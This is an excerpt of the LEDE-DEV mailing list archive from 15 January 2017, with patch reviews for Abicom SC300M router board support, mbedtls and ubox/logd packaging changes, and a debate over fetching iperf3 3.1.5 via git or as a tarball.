 <f6ea2c92-8b9a-ab03-a77c-d489b8328f04@nbd.name>
 <CAHmME9qbL6_x-t7FUonQckphFR7eJE4ZZC9DGfSmH_6E+-ZReg@mail.gmail.com>
 <184645bf-bff6-501d-c0aa-35334c3af8bb@nbd.name>
 <CAHmME9pfyw8TcpQkdTHSasN3Lt9P7qFBFPraFU7GWbqzijVvig@mail.gmail.com>
Message-ID: <CAHmME9p3fOhphuSxSo5uVdmbH8cn0Vg7Rg55Q18h+LsGk+KhZA@mail.gmail.com>

Here's the raw diff of this series directly from -next, in case it helps:
https://git.kernel.org/cgit/linux/kernel/git/next/linux-next.git/rawdiff/?id=3cc3434fd6307d06b53b98ce83e76bf9807689b9&id2=fe8bd18ffea5327344d4ec2bf11f47951212abd0~


From sebastian_ml at gmx.net  Sun Jan 15 07:10:12 2017
From: sebastian_ml at gmx.net (Sebastian Kemper)
Date: Sun, 15 Jan 2017 15:10:12 +0000
Subject: [LEDE-DEV] [PATCH] ar71xx: add Abicom SC300M support
In-Reply-To: <a5555865-f7ab-9866-d5c4-84a0ab40c7cf@phrozen.org>
References: <20170111161952.32716-1-i@conorogorman.net>
 <a5555865-f7ab-9866-d5c4-84a0ab40c7cf@phrozen.org>
Message-ID: <E9A33700-0D1F-420F-90B7-06E3C85413AE@gmx.net>

Hi,

Another nitpick, there's a typo in a comment:

"/* GMAC1 is connected tot eh SGMII interface */"

Regards,
Sebastian

Am 15. Januar 2017 14:52:17 MEZ schrieb John Crispin <john at phrozen.org>:
>Hi,
>
>looks good, one minor nitpicks inline
>
>On 11/01/2017 17:19, Conor O'Gorman wrote:
>> Support Abicom International Scorpion SC300M Module
>> 
>> QCA9550 700MHz Extended Temperature Range
>> 256MB DDR2
>> 256MB Nand Flash
>> 16MB SPI Flash
>> 802.11a/na/b/g/ng
>> GPIO x 22, USB x2, PCIe x2
>> 10/100/1000 Ethernet
>> 23dBm, Optional Onboard Antenna
>> DC Input, 8-20V DC
>> 85 x 55 mm
>> 
>> Signed-off-by: Conor O'Gorman <i at conorogorman.net>
>> ---
>>  target/linux/ar71xx/base-files/etc/board.d/01_leds |   1 +
>>  .../linux/ar71xx/base-files/etc/board.d/02_network |   1 +
>>  target/linux/ar71xx/base-files/etc/diag.sh         |   3 +-
>>  target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
>>  .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
>>  target/linux/ar71xx/config-4.4                     |   1 +
>>  .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
>>  target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
>>  .../ar71xx/files/arch/mips/ath79/mach-sc300m.c     | 132
>+++++++++++++++++++++
>>  .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
>>  target/linux/ar71xx/image/generic.mk               |  10 ++
>>  11 files changed, 164 insertions(+), 1 deletion(-)
>>  create mode 100644
>target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
>> 
>> diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds
>b/target/linux/ar71xx/base-files/etc/board.d/01_leds
>> index 5a2bf0c..5be9d4a 100755
>> --- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
>> +++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
>> @@ -279,6 +279,7 @@ gl-mifi)
>>  	esac
>>  	;;
>>  gl-domino|\
>> +sc300m|\
>>  wrt160nl)
>>  	ucidef_set_led_wlan "wlan" "WLAN" "$board:blue:wlan" "phy0tpt"
>>  	;;
>> diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network
>b/target/linux/ar71xx/base-files/etc/board.d/02_network
>> index 66274db..54069ce 100755
>> --- a/target/linux/ar71xx/base-files/etc/board.d/02_network
>> +++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
>> @@ -93,6 +93,7 @@ ar71xx_setup_interfaces()
>>  	rb-sxt5n|\
>>  	re450|\
>>  	rocket-m-xw|\
>> +	sc300m |\
>>  	tl-mr10u|\
>>  	tl-mr11u|\
>>  	tl-mr12u|\
>> diff --git a/target/linux/ar71xx/base-files/etc/diag.sh
>b/target/linux/ar71xx/base-files/etc/diag.sh
>> index d060ccf..36f2c43 100644
>> --- a/target/linux/ar71xx/base-files/etc/diag.sh
>> +++ b/target/linux/ar71xx/base-files/etc/diag.sh
>> @@ -295,7 +295,8 @@ get_status_led() {
>>  	rb-sxt5n)
>>  		status_led="rb:green:power"
>>  		;;
>> -	re450)
>> +	re450|\
>> +	sc300m)
>>  		status_led="$board:blue:power"
>>  		;;
>>  	routerstation|\
>> diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh
>b/target/linux/ar71xx/base-files/lib/ar71xx.sh
>> index 1b30f4d..a8bdc67 100755
>> --- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
>> +++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
>> @@ -881,6 +881,9 @@ ar71xx_board_detect() {
>>  	*RW2458N)
>>  		name="rw2458n"
>>  		;;
>> +	*SC300M)
>> +		name="sc300m"
>> +		;;
>>  	*"SMART-300")
>>  		name="smart-300"
>>  		;;
>> diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
>b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
>> index 6341a31..74808ef 100755
>> --- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
>> +++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
>> @@ -226,6 +226,7 @@ platform_check_image() {
>>  	rocket-m-xw|\
>>  	rocket-m|\
>>  	rw2458n|\
>> +	sc300m|\
>>  	sr3200|\
>>  	tew-632brp|\
>>  	tew-712br|\
>> diff --git a/target/linux/ar71xx/config-4.4
>b/target/linux/ar71xx/config-4.4
>> index 4b2f736..daffdea 100644
>> --- a/target/linux/ar71xx/config-4.4
>> +++ b/target/linux/ar71xx/config-4.4
>> @@ -147,6 +147,7 @@ CONFIG_ATH79_MACH_R6100=y
>>  # CONFIG_ATH79_MACH_RBSXTLITE is not set
>>  CONFIG_ATH79_MACH_RE450=y
>>  CONFIG_ATH79_MACH_RW2458N=y
>> +CONFIG_ATH79_MACH_SC300M=y
>>  CONFIG_ATH79_MACH_SMART_300=y
>>  CONFIG_ATH79_MACH_SOM9331=y
>>  CONFIG_ATH79_MACH_SR3200=y
>> diff --git
>a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
>b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
>> index 21d6b51..56889d7 100644
>> --- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
>> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
>> @@ -1,3 +1,14 @@
>> +config ATH79_MACH_SC300M
>> +	bool "Abicom SC300M board support"
>> +	select SOC_QCA955X
>> +	select ATH79_DEV_AP9X_PCI if PCI
>> +	select ATH79_DEV_ETH
>> +	select ATH79_DEV_GPIO_BUTTONS
>> +	select ATH79_DEV_LEDS_GPIO
>> +	select ATH79_DEV_M25P80
>> +	select ATH79_DEV_USB
>> +	select ATH79_DEV_WMAC
>
>
>This is not ordered correctly
>
>	John
>
>
>> +
>>  config ATH79_MACH_ALFA_AP120C
>>  	bool "ALFA Network AP120C board support"
>>  	select ATH79_DEV_AP9X_PCI if PCI
>> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
>b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
>> index 6384c06..915b34e 100644
>> --- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
>> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
>> @@ -151,6 +151,7 @@ obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
>>  obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
>>  obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
>>  obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
>> +obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
>>  obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
>>  obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
>>  obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
>> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
>b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
>> new file mode 100644
>> index 0000000..45ec58d
>> --- /dev/null
>> +++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
>> @@ -0,0 +1,132 @@
>> +/*
>> + * Abicom International Scorpion SC300M Module support.
>> + *
>> + * Copyright (c) 2012 Qualcomm Atheros
>> + * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
>> + * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
>> + *
>> + * Permission to use, copy, modify, and/or distribute this software
>for any
>> + * purpose with or without fee is hereby granted, provided that the
>above
>> + * copyright notice and this permission notice appear in all copies.
>> + *
>> + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
>WARRANTIES
>> + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
>> + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE
>LIABLE FOR
>> + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY
>DAMAGES
>> + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER
>IN AN
>> + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING
>OUT OF
>> + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
>> + *
>> + */
>> +
>> +#include <linux/platform_device.h>
>> +#include <linux/platform_data/phy-at803x.h>
>> +
>> +#include <asm/mach-ath79/ar71xx_regs.h>
>> +
>> +#include "common.h"
>> +#include "pci.h"
>> +#include "dev-ap9x-pci.h"
>> +#include "dev-gpio-buttons.h"
>> +#include "dev-eth.h"
>> +#include "dev-leds-gpio.h"
>> +#include "dev-m25p80.h"
>> +#include "dev-nfc.h"
>> +#include "dev-usb.h"
>> +#include "dev-wmac.h"
>> +#include "machtypes.h"
>> +
>> +#define SC300M_GPIO_LED_WLAN		0
>> +#define SC300M_GPIO_LED_POWER		1
>> +
>> +#define SC300M_GPIO_BTN_RESET		17
>> +
>> +#define SC300M_KEYS_POLL_INTERVAL	20	/* msecs */
>> +#define SC300M_KEYS_DEBOUNCE_INTERVAL	(3 *
>SC300M_KEYS_POLL_INTERVAL)
>> +
>> +#define SC300M_MAC0_OFFSET		0
>> +#define SC300M_MAC1_OFFSET		6
>> +#define SC300M_WMAC_CALDATA_OFFSET	0x1000
>> +#define SC300M_PCIE_CALDATA_OFFSET	0x5000
>> +
>> +static struct gpio_led sc300m_leds_gpio[] __initdata = {
>> +	{
>> +		.name		= "sc300m:blue:wlan",
>> +		.gpio		= SC300M_GPIO_LED_WLAN,
>> +		.active_low	= 1,
>> +	},
>> +	{
>> +		.name		= "sc300m:blue:power",
>> +		.gpio		= SC300M_GPIO_LED_POWER,
>> +		.active_low	= 1,
>> +	}
>> +};
>> +
>> +static struct gpio_keys_button sc300m_gpio_keys[] __initdata = {
>> +	{
>> +		.desc		= "reset",
>> +		.type		= EV_KEY,
>> +		.code		= KEY_RESTART,
>> +		.debounce_interval = SC300M_KEYS_DEBOUNCE_INTERVAL,
>> +		.gpio		= SC300M_GPIO_BTN_RESET,
>> +		.active_low	= 1,
>> +	}
>> +};
>> +
>> +static struct at803x_platform_data at803x_data = {
>> +	.disable_smarteee = 1,
>> +	.enable_rgmii_rx_delay = 0,
>> +	.enable_rgmii_tx_delay = 0,
>> +};
>> +
>> +static struct mdio_board_info sc300m_mdio0_info[] = {
>> +	{
>> +		.bus_id = "ag71xx-mdio.0",
>> +		.phy_addr = 1,
>> +		.platform_data = &at803x_data,
>> +	},
>> +};
>> +
>> +static void __init sc300m_setup(void)
>> +{
>> +	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
>> +
>> +	ath79_register_m25p80(NULL);
>> +
>> +	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc300m_leds_gpio),
>> +				 sc300m_leds_gpio);
>> +	ath79_register_gpio_keys_polled(-1, SC300M_KEYS_POLL_INTERVAL,
>> +					ARRAY_SIZE(sc300m_gpio_keys),
>> +					sc300m_gpio_keys);
>> +
>> +	ath79_register_usb();
>> +	ath79_register_nfc();
>> +
>> +	ath79_register_wmac(art + SC300M_WMAC_CALDATA_OFFSET, NULL);
>> +
>> +	ath79_register_mdio(0, 0);
>> +	mdiobus_register_board_info(sc300m_mdio0_info,
>> +				    ARRAY_SIZE(sc300m_mdio0_info));
>> +
>> +	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC300M_MAC0_OFFSET,
>0);
>> +
>> +	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
>> +	ath79_eth0_pll_data.pll_100 = 0xa4000101;
>> +	/* GMAC0 is connected to the RMGII interface */
>> +	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
>> +	ath79_eth0_data.phy_mask = 0xF;
>> +	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
>> +
>> +	ath79_register_eth(0);
>> +
>> +	/* GMAC1 is connected tot eh SGMII interface */
>> +	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
>> +	ath79_eth1_data.speed = SPEED_1000;
>> +	ath79_eth1_data.duplex = DUPLEX_FULL;
>> +
>> +	ath79_register_eth(1);
>> +
>> +	ath79_register_pci();
>> +}
>> +
>> +MIPS_MACHINE(ATH79_MACH_SC300M, "SC300M", "Abicom SC300M",
>sc300m_setup);
>> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
>b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
>> index 9402185..b1e29f9 100644
>> --- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
>> +++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
>> @@ -168,6 +168,7 @@ enum ath79_mach_type {
>>  	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
>>  	ATH79_MACH_RE450,			/* TP-LINK RE450 */
>>  	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
>> +	ATH79_MACH_SC300M,			/* Abicom SC300M */
>>  	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
>>  	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
>>  	ATH79_MACH_SR3200,			/* YunCore SR3200 */
>> diff --git a/target/linux/ar71xx/image/generic.mk
>b/target/linux/ar71xx/image/generic.mk
>> index e2867e6..f8445b5 100644
>> --- a/target/linux/ar71xx/image/generic.mk
>> +++ b/target/linux/ar71xx/image/generic.mk
>> @@ -464,6 +464,16 @@ define Device/onion-omega
>>  endef
>>  TARGET_DEVICES += onion-omega
>>  
>> +define Device/sc300m
>> +  DEVICE_TITLE := Abicom SC300M
>> +  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2
>kmod-usb-ledtrig-usbport
>> +  BOARDNAME = SC300M
>> +  IMAGE_SIZE = 15744k
>> +  CONSOLE = ttyS0,115200
>> +  MTDPARTS =
>spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
>> +endef
>> +TARGET_DEVICES += sc300m
>> +
>>  define Device/smart-300
>>    $(Device/tplink-8mlzma)
>>    DEVICE_TITLE := NC-LINK SMART-300
>> 
>
>_______________________________________________
>Lede-dev mailing list
>Lede-dev at lists.infradead.org
>http://lists.infradead.org/mailman/listinfo/lede-dev


From nbd at nbd.name  Sun Jan 15 09:49:35 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sun, 15 Jan 2017 18:49:35 +0100
Subject: [LEDE-DEV] per-cpu IRQ stack on MIPS
In-Reply-To: <CAHmME9p3fOhphuSxSo5uVdmbH8cn0Vg7Rg55Q18h+LsGk+KhZA@mail.gmail.com>
References: <CAHmME9pZ65Z_jwFWzS0mMM7+Gh1zAHHBr3zhx3pWOpJWWwFmmg@mail.gmail.com>
 <f6ea2c92-8b9a-ab03-a77c-d489b8328f04@nbd.name>
 <CAHmME9qbL6_x-t7FUonQckphFR7eJE4ZZC9DGfSmH_6E+-ZReg@mail.gmail.com>
 <184645bf-bff6-501d-c0aa-35334c3af8bb@nbd.name>
 <CAHmME9pfyw8TcpQkdTHSasN3Lt9P7qFBFPraFU7GWbqzijVvig@mail.gmail.com>
 <CAHmME9p3fOhphuSxSo5uVdmbH8cn0Vg7Rg55Q18h+LsGk+KhZA@mail.gmail.com>
Message-ID: <47f579ae-1ea3-7e81-41fc-6254cd6b6b51@nbd.name>

On 2017-01-15 15:18, Jason A. Donenfeld wrote:
> Here's the raw diff of this series directly from -next, in case it helps:
> https://git.kernel.org/cgit/linux/kernel/git/next/linux-next.git/rawdiff/?id=3cc3434fd6307d06b53b98ce83e76bf9807689b9&id2=fe8bd18ffea5327344d4ec2bf11f47951212abd0~
Tests were successful, changes are merged now.

- Felix



From f.fainelli at gmail.com  Sun Jan 15 09:58:40 2017
From: f.fainelli at gmail.com (Florian Fainelli)
Date: Sun, 15 Jan 2017 09:58:40 -0800
Subject: [LEDE-DEV] Adding new people in patchwork?
In-Reply-To: <162b4e0e-4932-89cc-1553-b13c3eba2acf@phrozen.org>
References: <d3860eac-002d-97f0-15e8-3c400410704a@gmail.com>
 <162b4e0e-4932-89cc-1553-b13c3eba2acf@phrozen.org>
Message-ID: <0f0b7f4d-e8c7-d665-24a9-ff555a7fe3cf@gmail.com>



On 01/15/2017 05:45 AM, John Crispin wrote:
> 
> 
> On 15/01/2017 05:22, Florian Fainelli wrote:
>> Hi,
>>
>> How do we get new people added to the delegation list in patchwork?
>>
>> Thanks!
>>
> 
> whats your userid ?

2800

Thanks
-- 
Florian


From luka.perkov at sartura.hr  Sun Jan 15 11:26:34 2017
From: luka.perkov at sartura.hr (Luka Perkov)
Date: Sun, 15 Jan 2017 20:26:34 +0100
Subject: [LEDE-DEV] [PATCH] mbedtls: add static files in staging_dir
Message-ID: <20170115192634.18408-1-luka.perkov@sartura.hr>

From: Domagoj Pintaric <domagoj.pintaric at sartura.hr>

Signed-off-by: Domagoj Pintaric <domagoj.pintaric at sartura.hr>
Signed-off-by: Luka Perkov <luka.perkov at sartura.hr>
---
 package/libs/mbedtls/Makefile | 1 +
 1 file changed, 1 insertion(+)

diff --git a/package/libs/mbedtls/Makefile b/package/libs/mbedtls/Makefile
index 990aabe066..12b97da243 100644
--- a/package/libs/mbedtls/Makefile
+++ b/package/libs/mbedtls/Makefile
@@ -59,6 +59,7 @@ define Build/InstallDev
 	$(CP) $(PKG_INSTALL_DIR)/usr/include/mbedtls $(1)/usr/include/
 	$(INSTALL_DIR) $(1)/usr/lib
 	$(CP) $(PKG_INSTALL_DIR)/usr/lib/lib*.so* $(1)/usr/lib/
+	$(CP) $(PKG_INSTALL_DIR)/usr/lib/lib*.a $(1)/usr/lib/
 endef
 
 define Package/libmbedtls/install
-- 
2.11.0



From luka.perkov at sartura.hr  Sun Jan 15 11:27:13 2017
From: luka.perkov at sartura.hr (Luka Perkov)
Date: Sun, 15 Jan 2017 20:27:13 +0100
Subject: [LEDE-DEV] [PATCH] ubox: turn logd into a separate package
Message-ID: <20170115192713.18496-1-luka.perkov@sartura.hr>

From: Andrej Vlasic <andrej.vlasic at sartura.hr>

Currently system log is always included as a part of ubox. Add logd as a
seperate package and add it to default packages list.

Signed-off-by: Andrej Vlasic <andrej.vlasic at sartura.hr>
Signed-off-by: Luka Perkov <luka.perkov at sartura.hr>
---
 include/target.mk            |  2 +-
 package/system/ubox/Makefile | 16 ++++++++++++++--
 2 files changed, 15 insertions(+), 3 deletions(-)

diff --git a/include/target.mk b/include/target.mk
index a8d3b2b249..bca4af4b1b 100644
--- a/include/target.mk
+++ b/include/target.mk
@@ -13,7 +13,7 @@ __target_inc=1
 DEVICE_TYPE?=router
 
 # Default packages - the really basic set
-DEFAULT_PACKAGES:=base-files libc libgcc busybox dropbear mtd uci opkg netifd fstools uclient-fetch
+DEFAULT_PACKAGES:=base-files libc libgcc busybox dropbear mtd uci opkg netifd fstools uclient-fetch logd
 # For nas targets
 DEFAULT_PACKAGES.nas:=block-mount fdisk lsblk mdadm
 # For router targets
diff --git a/package/system/ubox/Makefile b/package/system/ubox/Makefile
index 8900c67803..e833cac487 100644
--- a/package/system/ubox/Makefile
+++ b/package/system/ubox/Makefile
@@ -5,7 +5,7 @@ PKG_RELEASE:=1
 
 PKG_SOURCE_PROTO:=git
 PKG_SOURCE_URL=$(LEDE_GIT)/project/ubox.git
-PKG_SOURCE_DATE:=2016-09-26
+PKG_SOURCE_DATE:=2017-01-15
 PKG_SOURCE_VERSION:=5649c028c426060616e2bd4e7ea83271cd333d21
 PKG_MIRROR_HASH:=ae77504a4397f92173a7646fa3555e5b51abd7ff1dd1c419770223359e41937a
 CMAKE_INSTALL:=1
@@ -27,8 +27,15 @@ define Package/ubox
   TITLE:=OpenWrt system helper toolbox
 endef
 
+define Package/logd
+SECTION:=base
+  CATEGORY:=Base system
+  DEPENDS:=+libubox +libubus +libblobmsg-json +USE_GLIBC:librt
+  TITLE:=OpenWrt system log implementation
+endef
+
 define Package/ubox/install
-	$(INSTALL_DIR) $(1)/sbin $(1)/usr/sbin $(1)/lib $(1)/usr/bin $(1)/etc/init.d
+	$(INSTALL_DIR) $(1)/sbin $(1)/usr/sbin $(1)/lib $(1)/usr/bin
 
 	$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/sbin/{kmodloader,validate_data} $(1)/sbin/
 	$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/getrandom $(1)/usr/bin/
@@ -39,9 +46,14 @@ define Package/ubox/install
 	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/lsmod
 	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/modinfo
 	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/modprobe
+endef
+
+define Package/logd/install
+	$(INSTALL_DIR) $(1)/sbin $(1)/etc/init.d/
 
 	$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/sbin/{logd,logread} $(1)/sbin/
 	$(INSTALL_BIN) ./files/log.init $(1)/etc/init.d/log
 endef
 
 $(eval $(call BuildPackage,ubox))
+$(eval $(call BuildPackage,logd))
-- 
2.11.0



From luka.perkov at sartura.hr  Sun Jan 15 11:37:14 2017
From: luka.perkov at sartura.hr (Luka Perkov)
Date: Sun, 15 Jan 2017 20:37:14 +0100
Subject: [LEDE-DEV] first commits in lede tree
Message-ID: <20170115193714.GA18576@localhost.localdomain>

Hi all,

few moments ago I've sent out earlier two patches that I'd like to push
to lede tree. These are queued in my staging tree and it seems there is
still some polishing needed with regards to gitweb which I'll do with
the system admins.

Anyhow, Felix pointed out that it would be good to send email before I
try to merge those upstream. Let me know if there are any objections
since I'd like to get those in before release.

In case some hand-holding is needed I'll ask ;)

Thanks,
Luka


From chunkeey at googlemail.com  Sun Jan 15 11:56:07 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Sun, 15 Jan 2017 20:56:07 +0100
Subject: [PATCH] iperf3: update to version 3.1.5 and download via git
Message-ID: <20170115195607.2738-1-chunkeey@googlemail.com>

"This version of iperf3 makes some improvements to the
fair-queue-based pacing and improves the selection of
the default UDP packet size. Users who use either of
these aspects of iperf3 are encourage to review the
release notes for this version."
<http://software.es.net/iperf/news.html#iperf-3-1-5-released>

This patch also changes the package to download the
source via github <https://github.com/esnet/iperf>.
This also allows to switch to xz and save a couple of
KiB on the mirrors for every new release.

Signed-off-by: Christian Lamparter <chunkeey at googlemail.com>
---
Alternatively, the project's homepage also provides a
iperf-3.1.5.tar.gz <http://downloads.es.net/pub/iperf>.
In this case all that needs to be updated is
PKG_VERSION:=3.1.5
PKG_HASH:=6e1a6200cd38baeab58ef0d7b8769e7aa6410c3a3168e65ea8277a4de79e5500
---
 package/network/utils/iperf3/Makefile | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/package/network/utils/iperf3/Makefile b/package/network/utils/iperf3/Makefile
index 56782ea520..72fa4e3bff 100644
--- a/package/network/utils/iperf3/Makefile
+++ b/package/network/utils/iperf3/Makefile
@@ -8,12 +8,14 @@
 include $(TOPDIR)/rules.mk
 
 PKG_NAME:=iperf
-PKG_VERSION:=3.1.4
+PKG_VERSION:=3.1.5
 PKG_RELEASE:=1
 
-PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
-PKG_SOURCE_URL:=http://downloads.es.net/pub/iperf
-PKG_HASH:=db61d70ac62003ebe0bf15496bd8c4b3c4b728578a44d0a1a88fcf8afc0e8f76
+PKG_SOURCE_PROTO:=git
+PKG_SOURCE_URL:=https://github.com/esnet/iperf.git
+PKG_SOURCE_VERSION:=a46d5aec9726e196e86ab192c3f77dea6a3beb8e
+PKG_MIRROR_HASH:=ebcbde749e02a437bc829163735ac0ce13c50594ad6e3728c0b5e006bb34f3f7
+PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION)-$(PKG_SOURCE_VERSION).tar.xz
 
 PKG_MAINTAINER:=Felix Fietkau <nbd at nbd.name>
 PKG_LICENSE:=BSD-3-Clause
-- 
2.11.0



From daniel.engberg.lists at pyret.net  Sun Jan 15 12:25:28 2017
From: daniel.engberg.lists at pyret.net (Daniel Engberg)
Date: Sun, 15 Jan 2017 21:25:28 +0100
Subject: [LEDE-DEV] [PATCH] iperf3: update to version 3.1.5 and download
 via git
Message-ID: <f5bc42b99a8617d0b3e0bfd24f0caa6f@pyret.net>

Hi,

Thanks for submitting a patch but can you please outline why we would 
want to switch from a tarball release to a git repo pull for iperf3?

Best regards,
Daniel Engberg


From chunkeey at googlemail.com  Sun Jan 15 12:56:43 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Sun, 15 Jan 2017 21:56:43 +0100
Subject: [PATCH] iperf3: update to version 3.1.5 and download via git
In-Reply-To: <f5bc42b99a8617d0b3e0bfd24f0caa6f@pyret.net>
References: <f5bc42b99a8617d0b3e0bfd24f0caa6f@pyret.net>
Message-ID: <CAAd0S9BbjjBbaWzs90MvUakNsFdMn46wXHyr=Gex4pns3QUUZA@mail.gmail.com>

On Sunday, January 15, 2017 9:25:28 PM CET Daniel Engberg wrote:
> Thanks for submitting a patch but can you please outline why we would
> want to switch from a tarball release to a git repo pull for iperf3?
>

Actually, it's in the commit. It saves a couple of KiB since we can switch to
xz along the way too. As for iperf 3.1.5 this is:

550862 Bytes for iperf-3.1.5.tar.gz

vs.

400468 Bytes for iperf-3.1.5-a46d5aec9726e196e86ab192c3f77dea6a3beb8e.tar.xz

That's around 27% savings of bandwidth. Because once it's uploaded
onto the mirror
the download methods will pick it from there - instead of the listed address.

Anyway, if you have your own idea of how to do it: Then just make a
patch as well.

Regards,
Christian


From daniel.engberg.lists at pyret.net  Sun Jan 15 13:06:22 2017
From: daniel.engberg.lists at pyret.net (Daniel Engberg)
Date: Sun, 15 Jan 2017 22:06:22 +0100
Subject: [LEDE-DEV] [PATCH] iperf3: update to version 3.1.5 and download
 via git
In-Reply-To: <CAAd0S9BbjjBbaWzs90MvUakNsFdMn46wXHyr=Gex4pns3QUUZA@mail.gmail.com>
References: <f5bc42b99a8617d0b3e0bfd24f0caa6f@pyret.net>
 <CAAd0S9BbjjBbaWzs90MvUakNsFdMn46wXHyr=Gex4pns3QUUZA@mail.gmail.com>
Message-ID: <dce5654a4b94e99c645a52329e35c90c@pyret.net>

On 2017-01-15 21:56, Christian Lamparter wrote:
> On Sunday, January 15, 2017 9:25:28 PM CET Daniel Engberg wrote:
>> Thanks for submitting a patch but can you please outline why we would
>> want to switch from a tarball release to a git repo pull for iperf3?
>> 
> 
> Actually, it's in the commit. It saves a couple of KiB since we can 
> switch to
> xz along the way too. As for iperf 3.1.5 this is:
> 
> 550862 Bytes for iperf-3.1.5.tar.gz
> 
> vs.
> 
> 400468 Bytes for 
> iperf-3.1.5-a46d5aec9726e196e86ab192c3f77dea6a3beb8e.tar.xz
> 
> That's around 27% savings of bandwidth. Because once it's uploaded
> onto the mirror
> the download methods will pick it from there - instead of the listed 
> address.
> 
> Anyway, if you have your own idea of how to do it: Then just make a
> patch as well.
> 
> Regards,
> Christian

I'm all for saving space and bandwidth but as far as I know the common 
practice is to use tarballs where it makes sense (ie pretty much 
everywhere) and upstream download mirrors/sites. Directing all users to 
the LEDE "backup" mirror is not a desirable outcome as there's no 
official xz package. That's just my point of view.

Regards,
Daniel Engberg


From i at conorogorman.net  Sun Jan 15 13:47:40 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Sun, 15 Jan 2017 21:47:40 +0000
Subject: [LEDE-DEV] [PATCH v2 0/3] ar71xx: add Abicom SC300M, SC450, SC1750
Message-ID: <20170115214743.8410-1-i@conorogorman.net>

v2 fix Kconfig.openwrt ordering, fix mach-sc300m typo, sneak in sc1750

Conor O'Gorman (3):
  ar71xx: add Abicom SC300M support
  ar71xx: add Abicom SC450 support
  ar71xx: add Abicom SC1750 support

 target/linux/ar71xx/base-files/etc/board.d/01_leds |   5 +
 .../linux/ar71xx/base-files/etc/board.d/02_network |   1 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   5 +-
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   9 ++
